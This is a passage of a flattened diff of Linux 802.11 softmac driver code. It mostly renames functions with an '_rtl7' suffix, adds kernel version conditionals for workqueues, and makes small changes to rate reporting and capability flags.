(struct ieee80211_assoc_response_frame *) skb_put(skb,sizeof(struct ieee80211_assoc_response_frame)); - + assoc->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_ASSOC_RESP); memcpy(assoc->header.addr1, dest,ETH_ALEN); memcpy(assoc->header.addr3, ieee->dev->dev_addr, ETH_ALEN); memcpy(assoc->header.addr2, ieee->dev->dev_addr, ETH_ALEN); - assoc->capability = cpu_to_le16(ieee->iw_mode == IW_MODE_MASTER ? + assoc->capability = cpu_to_le16(ieee->iw_mode == IW_MODE_MASTER ? WLAN_CAPABILITY_BSS : WLAN_CAPABILITY_IBSS); - - + + if(ieee->short_slot) assoc->capability |= cpu_to_le16(WLAN_CAPABILITY_SHORT_SLOT); - + if (ieee->host_encrypt) crypt = ieee->crypt[ieee->tx_keyidx]; else crypt = NULL; - + encrypt = ( crypt && crypt->ops); - + if (encrypt) assoc->capability |= cpu_to_le16(WLAN_CAPABILITY_PRIVACY); - + assoc->status = 0; assoc->aid = cpu_to_le16(ieee->assoc_id); if (ieee->assoc_id == 0x2007) ieee->assoc_id=0; else ieee->assoc_id++; - + tag = (u8*) skb_put(skb, rate_len); - - ieee80211_MFIE_Brate(ieee, &tag); - ieee80211_MFIE_Grate(ieee, &tag); - + + ieee80211_MFIE_Brate_rtl7(ieee, &tag); + ieee80211_MFIE_Grate_rtl7(ieee, &tag); + return skb; } -struct sk_buff* ieee80211_auth_resp(struct ieee80211_device *ieee,int status, u8 *dest) +struct sk_buff* ieee80211_auth_resp_rtl7(struct ieee80211_device *ieee,int status, u8 *dest) { struct sk_buff *skb; struct ieee80211_authentication *auth; - - skb = dev_alloc_skb(sizeof(struct ieee80211_authentication)+1); - - if (!skb) + + skb = dev_alloc_skb(sizeof(struct ieee80211_authentication)+1); + + if (!skb) return NULL; - + skb->len = sizeof(struct ieee80211_authentication); - + auth = (struct ieee80211_authentication *)skb->data; - + auth->status = cpu_to_le16(status); auth->transaction = cpu_to_le16(2); auth->algorithm = cpu_to_le16(WLAN_AUTH_OPEN); - + memcpy(auth->header.addr3, ieee->dev->dev_addr, ETH_ALEN); memcpy(auth->header.addr2, ieee->dev->dev_addr, ETH_ALEN); memcpy(auth->header.addr1, dest, ETH_ALEN); - auth->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_AUTH); + auth->header.frame_ctl = cpu_to_le16(IEEE80211_STYPE_AUTH); return skb; - - + + } -struct sk_buff* ieee80211_null_func(struct ieee80211_device *ieee,short pwr) +struct sk_buff* ieee80211_null_func_rtl7(struct ieee80211_device *ieee,short pwr) { struct sk_buff *skb; struct ieee80211_hdr_3addr* hdr; - - skb = dev_alloc_skb(sizeof(struct ieee80211_hdr_3addr)); - - if (!skb) + + skb = dev_alloc_skb(sizeof(struct ieee80211_hdr_3addr)); + + if (!skb) return NULL; - + hdr = (struct ieee80211_hdr_3addr*)skb_put(skb,sizeof(struct ieee80211_hdr_3addr)); - + memcpy(hdr->addr1, ieee->current_network.bssid, ETH_ALEN); memcpy(hdr->addr2, ieee->dev->dev_addr, ETH_ALEN); memcpy(hdr->addr3, ieee->current_network.bssid, ETH_ALEN); - - hdr->frame_ctl = cpu_to_le16(IEEE80211_FTYPE_DATA | - IEEE80211_STYPE_NULLFUNC | IEEE80211_FCTL_TODS | - (pwr ? IEEE80211_FCTL_PM:0)); - + + hdr->frame_ctl = cpu_to_le16(IEEE80211_FTYPE_DATA | + IEEE80211_STYPE_NULLFUNC | IEEE80211_FCTL_TODS | + (pwr ? IEEE80211_FCTL_PM:0)); + return skb; - - + + } -void ieee80211_resp_to_assoc_rq(struct ieee80211_device *ieee, u8* dest) +void ieee80211_resp_to_assoc_rq_rtl7(struct ieee80211_device *ieee, u8* dest) { - struct sk_buff *buf = ieee80211_assoc_resp(ieee, dest); - + struct sk_buff *buf = ieee80211_assoc_resp_rtl7(ieee, dest); + if (buf) - softmac_mgmt_xmit(buf, ieee); + softmac_mgmt_xmit_rtl7(buf, ieee); } -void ieee80211_resp_to_auth(struct ieee80211_device *ieee, int s, u8* dest) +void ieee80211_resp_to_auth_rtl7(struct ieee80211_device *ieee, int s, u8* dest) { - struct sk_buff *buf = ieee80211_auth_resp(ieee, s, dest); - + struct sk_buff *buf = ieee80211_auth_resp_rtl7(ieee, s, dest); + if (buf) - softmac_mgmt_xmit(buf, ieee); + softmac_mgmt_xmit_rtl7(buf, ieee); } -void ieee80211_resp_to_probe(struct ieee80211_device *ieee, u8 *dest) +void ieee80211_resp_to_probe_rtl7(struct ieee80211_device *ieee, u8 *dest) { - - struct sk_buff *buf = ieee80211_probe_resp(ieee, dest); - - if (buf) - softmac_mgmt_xmit(buf, ieee); + + struct sk_buff *buf = ieee80211_probe_resp_rtl7(ieee, dest); + + if (buf) + softmac_mgmt_xmit_rtl7(buf, ieee); } -inline struct sk_buff *ieee80211_association_req(struct ieee80211_network *beacon,struct ieee80211_device *ieee) +inline struct sk_buff *ieee80211_association_req_rtl7(struct ieee80211_network *beacon,struct ieee80211_device *ieee) { struct sk_buff *skb; - + struct ieee80211_assoc_request_frame *hdr; u8 *tag; - + unsigned int wpa_len = beacon->wpa_ie_len; - - unsigned int rate_len = ieee80211_MFIE_rate_len(ieee); - - - + + unsigned int rate_len = ieee80211_MFIE_rate_len_rtl7(ieee); + + + int len=sizeof(struct ieee80211_assoc_request_frame)+ + beacon->ssid_len//essid tagged val + rate_len//rates tagged val + wpa_len; - + skb = dev_alloc_skb(len); - - if (!skb) + + if (!skb) return NULL; - + hdr = (struct ieee80211_assoc_request_frame *) skb_put(skb, sizeof(struct ieee80211_assoc_request_frame)); - - + + hdr->header.frame_ctl = IEEE80211_STYPE_ASSOC_REQ; hdr->header.duration_id= 37; //FIXME memcpy(hdr->header.addr1, beacon->bssid, ETH_ALEN); memcpy(hdr->header.addr2, ieee->dev->dev_addr, ETH_ALEN); memcpy(hdr->header.addr3, beacon->bssid, ETH_ALEN); - + hdr->capability = cpu_to_le16(WLAN_CAPABILITY_BSS); - if (beacon->capability & WLAN_CAPABILITY_PRIVACY ) + if (beacon->capability & WLAN_CAPABILITY_PRIVACY ) hdr->capability |= cpu_to_le16(WLAN_CAPABILITY_PRIVACY); - + if(ieee->short_slot) hdr->capability |= cpu_to_le16(WLAN_CAPABILITY_SHORT_SLOT); - + + if(beacon->capability & WLAN_CAPABILITY_SHORT_PREAMBLE) + hdr->capability |= cpu_to_le16(WLAN_CAPABILITY_SHORT_PREAMBLE); + hdr->listen_interval = 0xa; //FIXME - + hdr->info_element.id = MFIE_TYPE_SSID; hdr->info_element.len = beacon->ssid_len; tag = skb_put(skb, beacon->ssid_len); memcpy(tag, beacon->ssid, beacon->ssid_len); - - tag = skb_put(skb, rate_len); - - ieee80211_MFIE_Brate(ieee, &tag); - ieee80211_MFIE_Grate(ieee, &tag); - + + tag = skb_put(skb, rate_len); + + ieee80211_MFIE_Brate_rtl7(ieee, &tag); + ieee80211_MFIE_Grate_rtl7(ieee, &tag); + tag = skb_put(skb,wpa_len); - + memcpy(tag,beacon->wpa_ie,wpa_len); - + return skb; } -void ieee80211_associate_abort(struct ieee80211_device *ieee) +void ieee80211_associate_abort_rtl7(struct ieee80211_device *ieee) { - + unsigned long flags; spin_lock_irqsave(&ieee->lock, flags); - + ieee->associate_seq++; - + /* don't scan, and avoid to have the RX path possibily * try again to associate. Even do not react to AUTH or * ASSOC response. Just wait for the retry wq to be scheduled. @@ -873,166 +882,181 @@ * with, so we retry or just get back to NO_LINK and scanning */ if (ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATING){ - IEEE80211_DEBUG_MGMT("Authentication failed\n"); + IEEE80211_DEBUG_MGMT("Authentication failed\n"); ieee->softmac_stats.no_auth_rs++; }else{ - IEEE80211_DEBUG_MGMT("Association failed\n"); + IEEE80211_DEBUG_MGMT("Association failed\n"); ieee->softmac_stats.no_ass_rs++; } - + ieee->state = IEEE80211_ASSOCIATING_RETRY; - + queue_delayed_work(ieee->wq, &ieee->associate_retry_wq, IEEE80211_SOFTMAC_ASSOC_RETRY_TIME); - + spin_unlock_irqrestore(&ieee->lock, flags); } -void ieee80211_associate_abort_cb(unsigned long dev) +void ieee80211_associate_abort_cb_rtl7(unsigned long dev) { - ieee80211_associate_abort((struct ieee80211_device *) dev); + ieee80211_associate_abort_rtl7((struct ieee80211_device *) dev); } -void ieee80211_associate_step1(struct ieee80211_device *ieee) +void ieee80211_associate_step1_rtl7(struct ieee80211_device *ieee) { struct ieee80211_network *beacon = &ieee->current_network; struct sk_buff *skb; - + IEEE80211_DEBUG_MGMT("Stopping scan\n"); - + ieee->softmac_stats.tx_auth_rq++; - skb=ieee80211_authentication_req(beacon, ieee, 0); - - if (!skb) - ieee80211_associate_abort(ieee); - else{ + skb=ieee80211_authentication_req_rtl7(beacon, ieee, 0); + + if (!skb) + ieee80211_associate_abort_rtl7(ieee); + else{ ieee->state = IEEE80211_ASSOCIATING_AUTHENTICATING ; IEEE80211_DEBUG_MGMT("Sending authentication request\n"); - softmac_mgmt_xmit(skb, ieee); + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->associate_timer.expires = jiffies + (HZ / 2); add_timer(&ieee->associate_timer); - } + } } -void ieee80211_auth_challenge(struct ieee80211_device *ieee, u8 *challenge, int chlen) +void ieee80211_auth_challenge_rtl7(struct ieee80211_device *ieee, u8 *challenge, int chlen) { - u8 *c; + u8 *c; struct sk_buff *skb; struct ieee80211_network *beacon = &ieee->current_network; // int hlen = sizeof(struct ieee80211_authentication); - + ieee->associate_seq++; ieee->softmac_stats.tx_auth_rq++; - - skb = ieee80211_authentication_req(beacon, ieee, chlen+2); - if (!skb) - ieee80211_associate_abort(ieee); + + skb = ieee80211_authentication_req_rtl7(beacon, ieee, chlen+2); + if (!skb) + ieee80211_associate_abort_rtl7(ieee); else{ c = skb_put(skb, chlen+2); *(c++) = MFIE_TYPE_CHALLENGE; *(c++) = chlen; memcpy(c, challenge, chlen); - + IEEE80211_DEBUG_MGMT("Sending authentication challenge response\n"); - - ieee80211_encrypt_fragment(ieee, skb, sizeof(struct ieee80211_hdr_3addr )); - - softmac_mgmt_xmit(skb, ieee); + + ieee80211_encrypt_fragment_rtl7(ieee, skb, sizeof(struct ieee80211_hdr_3addr )); + + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->associate_timer.expires = jiffies + (HZ / 2); add_timer(&ieee->associate_timer); - } + } kfree(challenge); } -void ieee80211_associate_step2(struct ieee80211_device *ieee) +void ieee80211_associate_step2_rtl7(struct ieee80211_device *ieee) { struct sk_buff* skb; struct ieee80211_network *beacon = &ieee->current_network; - + del_timer_sync(&ieee->associate_timer); - + IEEE80211_DEBUG_MGMT("Sending association request\n"); - + ieee->softmac_stats.tx_ass_rq++; - skb=ieee80211_association_req(beacon, ieee); - if (!skb) - ieee80211_associate_abort(ieee); + skb=ieee80211_association_req_rtl7(beacon, ieee); + if (!skb) + ieee80211_associate_abort_rtl7(ieee); else{ - softmac_mgmt_xmit(skb, ieee); + softmac_mgmt_xmit_rtl7(skb, ieee); ieee->associate_timer.expires = jiffies + (HZ / 2); add_timer(&ieee->associate_timer); - } + } } -void ieee80211_associate_complete_wq(struct ieee80211_device *ieee) +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_associate_complete_wq_rtl7(struct work_struct *work) +{ + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, associate_complete_wq); +#else +void ieee80211_associate_complete_wq_rtl7(struct ieee80211_device *ieee) { +#endif printk(KERN_INFO "Associated successfully\n"); - if(ieee80211_is_54g(ieee->current_network) && +#if 0 + if(ieee80211_is_54g_rtl7(ieee->current_network) && (ieee->modulation & IEEE80211_OFDM_MODULATION)){ - + ieee->rate = 540; printk(KERN_INFO"Using G rates\n"); }else{ ieee->rate = 110; printk(KERN_INFO"Using B rates\n"); } +#else + printk(KERN_INFO"Using %d MBit\n", (ieee->rate/10) ); +#endif ieee->link_change(ieee->dev); - notify_wx_assoc_event(ieee); + notify_wx_assoc_event_rtl7(ieee); if (ieee->data_hard_resume) ieee->data_hard_resume(ieee->dev); netif_carrier_on(ieee->dev); } -void ieee80211_associate_complete(struct ieee80211_device *ieee) +void ieee80211_associate_complete_rtl7(struct ieee80211_device *ieee) { del_timer_sync(&ieee->associate_timer); - + ieee->seq_ctrl = 0; ieee->state = IEEE80211_LINKED; IEEE80211_DEBUG_MGMT("Successfully associated\n"); - + queue_work(ieee->wq, &ieee->associate_complete_wq); } -void ieee80211_associate_procedure_wq(struct ieee80211_device *ieee) +# if (LINUX_VERSION_CODE >= KERNEL_VERSION(2,6,20)) +void ieee80211_associate_procedure_wq_rtl7(struct work_struct *work) { + struct ieee80211_device *ieee = container_of(work, struct ieee80211_device, associate_procedure_wq); +#else +void ieee80211_associate_procedure_wq_rtl7(struct ieee80211_device *ieee) +{ +#endif ieee->sync_scan_hurryup = 1; down(&ieee->wx_sem); - if (ieee->data_hard_stop) ieee->data_hard_stop(ieee->dev); - - ieee80211_stop_scan(ieee); + + ieee80211_stop_scan_rtl7(ieee); ieee->set_chan(ieee->dev, ieee->current_network.channel); - + ieee->associate_seq = 1; - ieee80211_associate_step1(ieee); - + ieee80211_associate_step1_rtl7(ieee); + up(&ieee->wx_sem); } -inline void ieee80211_softmac_new_net(struct ieee80211_device *ieee, struct ieee80211_network *net) +inline void ieee80211_softmac_new_net_rtl7(struct ieee80211_device *ieee, struct ieee80211_network *net) { - + u8 tmp_ssid[IW_ESSID_MAX_SIZE+1]; int tmp_ssid_len = 0; - + short apset,ssidset,ssidbroad,apmatch,ssidmatch; - - /* we are interested in new new only if we are not associated + + /* we are interested in new new only if we are not associated * and we are not associating / authenticating */ if (ieee->state != IEEE80211_NOLINK) - return; - + return; + if ((ieee->iw_mode == IW_MODE_INFRA) && !(net->capability & WLAN_CAPABILITY_BSS)) return; - + if ((ieee->iw_mode == IW_MODE_ADHOC) && !(net->capability & WLAN_CAPABILITY_IBSS)) return; - + if (ieee->iw_mode == IW_MODE_INFRA || ieee->iw_mode == IW_MODE_ADHOC){ /* if the user specified the AP MAC, we need also the essid * This could be obtained by beacons or, if the network does not @@ -1043,23 +1067,23 @@ ssidbroad = !(net->ssid_len == 0 || net->ssid[0]== '\0'); apmatch = (memcmp(ieee->current_network.bssid, net->bssid, ETH_ALEN)==0); ssidmatch = (0==strncmp(ieee->current_network.ssid, net->ssid, net->ssid_len)); - - - + + + if ( /* if the user set the AP check if match. * if the network does not broadcast essid we check the user supplyed ANY essid * if the network does broadcast and the user does not set essid it is OK * if the network does broadcast and the user did set essid chech if essid match */ - ( apset && apmatch && - ((ssidset && ssidbroad && ssidmatch) || (ssidbroad && !ssidset) || (!ssidbroad && ssidset)) ) || + ( apset && apmatch && + ((ssidset && ssidbroad && ssidmatch) || (ssidbroad && !ssidset) || (!ssidbroad && ssidset)) ) || /* if the ap is not set, check that the user set the bssid * and the network does bradcast and that those two bssid matches - */ - (!apset && ssidset && ssidbroad && ssidmatch) + */ + (!apset && ssidset && ssidbroad && ssidmatch) ){ - - + + /* if the essid is hidden replace it with the * essid provided by the user. */ @@ -1068,18 +1092,19 @@ tmp_ssid_len = ieee->current_network.ssid_len; } memcpy(&ieee->current_network, net, sizeof(struct ieee80211_network)); - + if (!ssidbroad){ strncpy(ieee->current_network.ssid, tmp_ssid, IW_ESSID_MAX_SIZE); ieee->current_network.ssid_len = tmp_ssid_len; } - printk(KERN_INFO"Linking with %s\n",ieee->current_network.ssid); - + printk(KERN_INFO"Linking with \"%s\" rate: %d MBit\n",ieee->current_network.ssid, (ieee->rate/10)); + if (ieee->iw_mode == IW_MODE_INFRA){ ieee->state = IEEE80211_ASSOCIATING; queue_work(ieee->wq, &ieee->associate_procedure_wq); }else{ - if(ieee80211_is_54g(ieee->current_network) && +#if 0 + if(ieee80211_is_54g_rtl7(ieee->current_network) && (ieee->modulation & IEEE80211_OFDM_MODULATION)){ ieee->rate = 540; printk(KERN_INFO"Using G rates\n"); @@ -1087,44 +1112,45 @@ ieee->rate = 110; printk(KERN_INFO"Using B rates\n"); } +#else + printk(KERN_INFO"Using %d MBit\n", (ieee->rate/10) ); +#endif ieee->state = IEEE80211_LINKED; } - + } } - } -void ieee80211_softmac_check_all_nets(struct ieee80211_device *ieee) +void ieee80211_softmac_check_all_nets_rtl7(struct ieee80211_device *ieee) { - + unsigned long flags; struct ieee80211_network *target; - + spin_lock_irqsave(&ieee->lock, flags); - list_for_each_entry(target, &ieee->network_list, list) { - + /* if the state become different that NOLINK means * we had found what we are searching for */ - if (ieee->state != IEEE80211_NOLINK) + if (ieee->state != IEEE80211_NOLINK) break; - + //if (ieee->scan_age == 0 || time_after(target->last_scanned + ieee->scan_age, jiffies)) - ieee80211_softmac_new_net(ieee, target); + ieee80211_softmac_new_net_rtl7(ieee, target); } - + spin_unlock_irqrestore(&ieee->lock, flags); - + } -static inline u16 auth_parse(struct sk_buff *skb, u8** challenge, int *chlen) +static inline u16 auth_parse_rtl7(struct sk_buff *skb, u8** challenge, int *chlen) { struct ieee80211_authentication *a; u8 *t; - if (skb->len < (sizeof(struct ieee80211_authentication)-sizeof(struct ieee80211_info_element))){ + if (skb->len < (sizeof(struct ieee80211_authentication)-sizeof(struct ieee80211_info_element))){ IEEE80211_DEBUG_MGMT("invalid len in auth resp: %d\n",skb->len); return 0xcafe; } @@ -1132,58 +1158,58 @@ a = (struct ieee80211_authentication*) skb->data; if(skb->len > (sizeof(struct ieee80211_authentication) +3)){ t = skb->data + sizeof(struct ieee80211_authentication); - + if(*(t++) == MFIE_TYPE_CHALLENGE){ *chlen = *(t++); *challenge = (u8*)kmalloc(*chlen, GFP_ATOMIC); memcpy(*challenge, t, *chlen); } } - + return cpu_to_le16(a->status); - + } -int auth_rq_parse(struct sk_buff *skb,u8* dest) +int auth_rq_parse_rtl7(struct sk_buff *skb,u8* dest) { struct ieee80211_authentication *a; - - if (skb->len < (sizeof(struct ieee80211_authentication)-sizeof(struct ieee80211_info_element))){ - IEEE80211_DEBUG_MGMT("invalid len in auth request: %d\n",skb->len); + + if (skb->len < (sizeof(struct ieee80211_authentication)-sizeof(struct ieee80211_info_element))){ + IEEE80211_DEBUG_MGMT("invalid len in auth request: %d\n",skb->len); return -1; } a = (struct ieee80211_authentication*) skb->data; - + memcpy(dest,a->header.addr2, ETH_ALEN); - - if (le16_to_cpu(a->algorithm) != WLAN_AUTH_OPEN) + + if (le16_to_cpu(a->algorithm) != WLAN_AUTH_OPEN) return WLAN_STATUS_NOT_SUPPORTED_AUTH_ALG; - + return WLAN_STATUS_SUCCESS; } -static short probe_rq_parse(struct ieee80211_device *ieee, struct sk_buff *skb, u8 *src) +static short probe_rq_parse_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, u8 *src) { u8 *tag; u8 *skbend; u8 *ssid=NULL; u8 ssidlen = 0; - + struct ieee80211_hdr_3addr *header = (struct ieee80211_hdr_3addr *) skb->data; - - if (skb->len < sizeof (struct ieee80211_hdr_3addr )) + + if (skb->len < sizeof (struct ieee80211_hdr_3addr )) return -1; /* corrupted */ - + memcpy(src,header->addr2, ETH_ALEN); - + skbend = (u8*)skb->data + skb->len; - + tag = skb->data + sizeof (struct ieee80211_hdr_3addr ); - + while (tag+1 < skbend){ - if (*tag == 0){ + if (*tag == 0){ ssid = tag+2; ssidlen = *(tag+1); break; @@ -1192,88 +1218,88 @@ tag = tag + *(tag); /* point to the last data byte of the tag */ tag++; /* point to the next tag */ } - + //IEEE80211DMESG("Card MAC address is "MACSTR, MAC2STR(src)); if (ssidlen == 0) return 1; - + if (!ssid) return 1; /* ssid not found in tagged param */ return (!strncmp(ssid, ieee->current_network.ssid, ssidlen)); - + } -int assoc_rq_parse(struct sk_buff *skb,u8* dest) +int assoc_rq_parse_rtl7(struct sk_buff *skb,u8* dest) { struct ieee80211_assoc_request_frame *a; - - if (skb->len < (sizeof(struct ieee80211_assoc_request_frame) - - sizeof(struct ieee80211_info_element))) { - + + if (skb->len < (sizeof(struct ieee80211_assoc_request_frame) - + sizeof(struct ieee80211_info_element))) { + IEEE80211_DEBUG_MGMT("invalid len in auth request:%d \n", skb->len); return -1; } - + a = (struct ieee80211_assoc_request_frame*) skb->data; - + memcpy(dest,a->header.addr2,ETH_ALEN); - + return 0; } -static inline u16 assoc_parse(struct sk_buff *skb, int *aid) +static inline u16 assoc_parse_rtl7(struct sk_buff *skb, int *aid) { struct ieee80211_assoc_response_frame *a; - if (skb->len < sizeof(struct ieee80211_assoc_response_frame)){ + if (skb->len < sizeof(struct ieee80211_assoc_response_frame)){ IEEE80211_DEBUG_MGMT("invalid len in auth resp: %d\n", skb->len); return 0xcafe; } - + a = (struct ieee80211_assoc_response_frame*) skb->data; *aid = le16_to_cpu(a->aid) & 0x3fff; return le16_to_cpu(a->status); } static inline void -ieee80211_rx_probe_rq(struct ieee80211_device *ieee, struct sk_buff *skb) +ieee80211_rx_probe_rq_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { u8 dest[ETH_ALEN]; - + //IEEE80211DMESG("Rx probe"); ieee->softmac_stats.rx_probe_rq++; //DMESG("Dest is "MACSTR, MAC2STR(dest)); - if (probe_rq_parse(ieee, skb, dest)){ + if (probe_rq_parse_rtl7(ieee, skb, dest)){ //IEEE80211DMESG("Was for me!"); ieee->softmac_stats.tx_probe_rs++; - ieee80211_resp_to_probe(ieee, dest); + ieee80211_resp_to_probe_rtl7(ieee, dest); } } static inline void -ieee80211_rx_auth_rq(struct ieee80211_device *ieee, struct sk_buff *skb) +ieee80211_rx_auth_rq_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { u8 dest[ETH_ALEN]; int status; //IEEE80211DMESG("Rx probe"); ieee->softmac_stats.rx_auth_rq++; - - if ((status = auth_rq_parse(skb, dest))!= -1){ - ieee80211_resp_to_auth(ieee, status, dest); + + if ((status = auth_rq_parse_rtl7(skb, dest))!= -1){ + ieee80211_resp_to_auth_rtl7(ieee, status, dest); } //DMESG("Dest is "MACSTR, MAC2STR(dest)); - + } static inline void -ieee80211_rx_assoc_rq(struct ieee80211_device *ieee, struct sk_buff *skb) +ieee80211_rx_assoc_rq_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb) { - + u8 dest[ETH_ALEN]; //unsigned long flags; - + ieee->softmac_stats.rx_ass_rq++; - if (assoc_rq_parse(skb,dest) != -1){ - ieee80211_resp_to_assoc_rq(ieee, dest); + if (assoc_rq_parse_rtl7(skb,dest) != -1){ + ieee80211_resp_to_assoc_rq_rtl7(ieee, dest); } - + printk(KERN_INFO"New client associated: "MAC_FMT"\n", MAC_ARG(dest)); //FIXME #if 0 @@ -1285,25 +1311,25 @@ -void ieee80211_sta_ps_send_null_frame(struct ieee80211_device *ieee, short pwr) +void ieee80211_sta_ps_send_null_frame_rtl7(struct ieee80211_device *ieee, short pwr) { - - struct sk_buff *buf = ieee80211_null_func(ieee, pwr); - + + struct sk_buff *buf = ieee80211_null_func_rtl7(ieee, pwr); + if (buf) - softmac_ps_mgmt_xmit(buf, ieee); + softmac_ps_mgmt_xmit_rtl7(buf, ieee); -} +} -short ieee80211_sta_ps_sleep(struct ieee80211_device *ieee, u32 *time_h, u32 *time_l) -{ +short ieee80211_sta_ps_sleep_rtl7(struct ieee80211_device *ieee, u32 *time_h, u32 *time_l) +{ int timeout = ieee->ps_timeout; u8 dtim; /*if(ieee->ps == IEEE80211_PS_DISABLED || - ieee->iw_mode != IW_MODE_INFRA || + ieee->iw_mode != IW_MODE_INFRA || ieee->state != IEEE80211_LINKED) - + return 0; */ dtim = ieee->current_network.dtim_data; @@ -1312,133 +1338,133 @@ return 0; //printk("VALID\n"); ieee->current_network.dtim_data = IEEE80211_DTIM_INVALID; - + if(dtim & ((IEEE80211_DTIM_UCAST | IEEE80211_DTIM_MBCAST)& ieee->ps)) return 2; - + if(!time_after(jiffies, ieee->dev->trans_start + MSECS(timeout))) return 0; - + if(!time_after(jiffies, ieee->last_rx_ps_time + MSECS(timeout))) return 0; - + if((ieee->softmac_features & IEEE_SOFTMAC_SINGLE_QUEUE ) && (ieee->mgmt_queue_tail != ieee->mgmt_queue_head)) return 0; - + if(time_l){ - *time_l = ieee->current_network.last_dtim_sta_time[0] - + (ieee->current_network.beacon_interval + *time_l = ieee->current_network.last_dtim_sta_time[0] + + (ieee->current_network.beacon_interval * ieee->current_network.dtim_period) * 1000; } - + if(time_h){ *time_h = ieee->current_network.last_dtim_sta_time[1]; if(time_l && *time_l < ieee->current_network.last_dtim_sta_time[0]) *time_h += 1; } - + return 1; - - + + } -inline void ieee80211_sta_ps(struct ieee80211_device *ieee) +inline void ieee80211_sta_ps_rtl7(struct ieee80211_device *ieee) { u32 th,tl; short sleep; - + unsigned long flags,flags2; - + spin_lock_irqsave(&ieee->lock, flags); - + if((ieee->ps == IEEE80211_PS_DISABLED || - ieee->iw_mode != IW_MODE_INFRA || + ieee->iw_mode != IW_MODE_INFRA || ieee->state != IEEE80211_LINKED)){ - - #warning CHECK_LOCK_HERE + +// #warning CHECK_LOCK_HERE spin_lock_irqsave(&ieee->mgmt_tx_lock, flags2); - - ieee80211_sta_wakeup(ieee, 1); - + + ieee80211_sta_wakeup_rtl7(ieee, 1); + printk(KERN_WARNING "wakeup 1!\n" ); spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags2); } - - sleep = ieee80211_sta_ps_sleep(ieee,&th, &tl); + + sleep = ieee80211_sta_ps_sleep_rtl7(ieee,&th, &tl); /* 2 wake, 1 sleep, 0 do nothing */ if(sleep == 0) goto out; - + if(sleep == 1){ - + if(ieee->sta_sleep == 1) ieee->enter_sleep_state(ieee->dev,th,tl); - + else if(ieee->sta_sleep == 0){ // printk("send null 1\n"); spin_lock_irqsave(&ieee->mgmt_tx_lock, flags2); - + if(ieee->ps_is_queue_empty(ieee->dev)){ - - + + ieee->sta_sleep = 2; - + ieee->ps_request_tx_ack(ieee->dev); - - ieee80211_sta_ps_send_null_frame(ieee,1); - + + ieee80211_sta_ps_send_null_frame_rtl7(ieee,1); + ieee->ps_th = th; ieee->ps_tl = tl; - } + } spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags2); - + } - - + + }else if(sleep == 2){ -#warning CHECK_LOCK_HERE +// #warning CHECK_LOCK_HERE spin_lock_irqsave(&ieee->mgmt_tx_lock, flags2); - - ieee80211_sta_wakeup(ieee,1); - + + ieee80211_sta_wakeup_rtl7(ieee,1); + printk(KERN_WARNING "wakeup 2!\n" ); spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags2); } -out: +out: spin_unlock_irqrestore(&ieee->lock, flags); - + } -void ieee80211_sta_wakeup(struct ieee80211_device *ieee, short nl) +void ieee80211_sta_wakeup_rtl7(struct ieee80211_device *ieee, short nl) { if(ieee->sta_sleep == 0){ if(nl){ printk("Warning: driver is probably failing to report TX ps error\n"); ieee->ps_request_tx_ack(ieee->dev); - ieee80211_sta_ps_send_null_frame(ieee, 0); + ieee80211_sta_ps_send_null_frame_rtl7(ieee, 0); } return; - + } - - if(ieee->sta_sleep == 1) + + if(ieee->sta_sleep == 1) ieee->sta_wake_up(ieee->dev); - + ieee->sta_sleep = 0; - + if(nl){ ieee->ps_request_tx_ack(ieee->dev); - ieee80211_sta_ps_send_null_frame(ieee, 0); + ieee80211_sta_ps_send_null_frame_rtl7(ieee, 0); } } -void ieee80211_ps_tx_ack(struct ieee80211_device *ieee, short success) +void ieee80211_ps_tx_ack_rtl7(struct ieee80211_device *ieee, short success) { unsigned long flags,flags2; - + spin_lock_irqsave(&ieee->lock, flags); - + if(ieee->sta_sleep == 2){ /* Null frame with PS bit set */ if(success){ @@ -1451,10 +1477,10 @@ } /* 21112005 - tx again null without PS bit if lost */ else { - + if((ieee->sta_sleep == 0) && !success){ spin_lock_irqsave(&ieee->mgmt_tx_lock, flags2); - ieee80211_sta_ps_send_null_frame(ieee, 0); + ieee80211_sta_ps_send_null_frame_rtl7(ieee, 0); spin_unlock_irqrestore(&ieee->mgmt_tx_lock, flags2); } } @@ -1462,129 +1488,132 @@ } inline int -ieee80211_rx_frame_softmac(struct ieee80211_device *ieee, struct sk_buff *skb, +ieee80211_rx_frame_softmac_rtl7(struct ieee80211_device *ieee, struct sk_buff *skb, struct ieee80211_rx_stats *rx_stats, u16 type, u16 stype) { struct ieee80211_hdr_3addr *header; - header = (struct ieee80211_hdr_3addr *) skb->data; u16 errcode; u8* challenge; int chlen; int aid; - + + chlen = 0; + + header = (struct ieee80211_hdr_3addr *) skb->data; + if(!ieee->proto_started) return 0; - + if(ieee->sta_sleep || (ieee->ps != IEEE80211_PS_DISABLED && - ieee->iw_mode == IW_MODE_INFRA && + ieee->iw_mode == IW_MODE_INFRA && ieee->state == IEEE80211_LINKED)) - + tasklet_schedule(&ieee->ps_task); - + if(WLAN_FC_GET_STYPE(header->frame_ctl) != IEEE80211_STYPE_PROBE_RESP && WLAN_FC_GET_STYPE(header->frame_ctl) != IEEE80211_STYPE_BEACON) ieee->last_rx_ps_time = jiffies; - + switch (WLAN_FC_GET_STYPE(header->frame_ctl)) { - + case IEEE80211_STYPE_ASSOC_RESP: case IEEE80211_STYPE_REASSOC_RESP: - + IEEE80211_DEBUG_MGMT("received [RE]ASSOCIATION RESPONSE (%d)\n", WLAN_FC_GET_STYPE(header->frame_ctl)); if ((ieee->softmac_features & IEEE_SOFTMAC_ASSOCIATE) && - ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATED && + ieee->state == IEEE80211_ASSOCIATING_AUTHENTICATED && ieee->iw_mode == IW_MODE_INFRA){ - if (0 == (errcode=assoc_parse(skb, &aid))){ - + if (0 == (errcode=assoc_parse_rtl7(skb, &aid))){ + 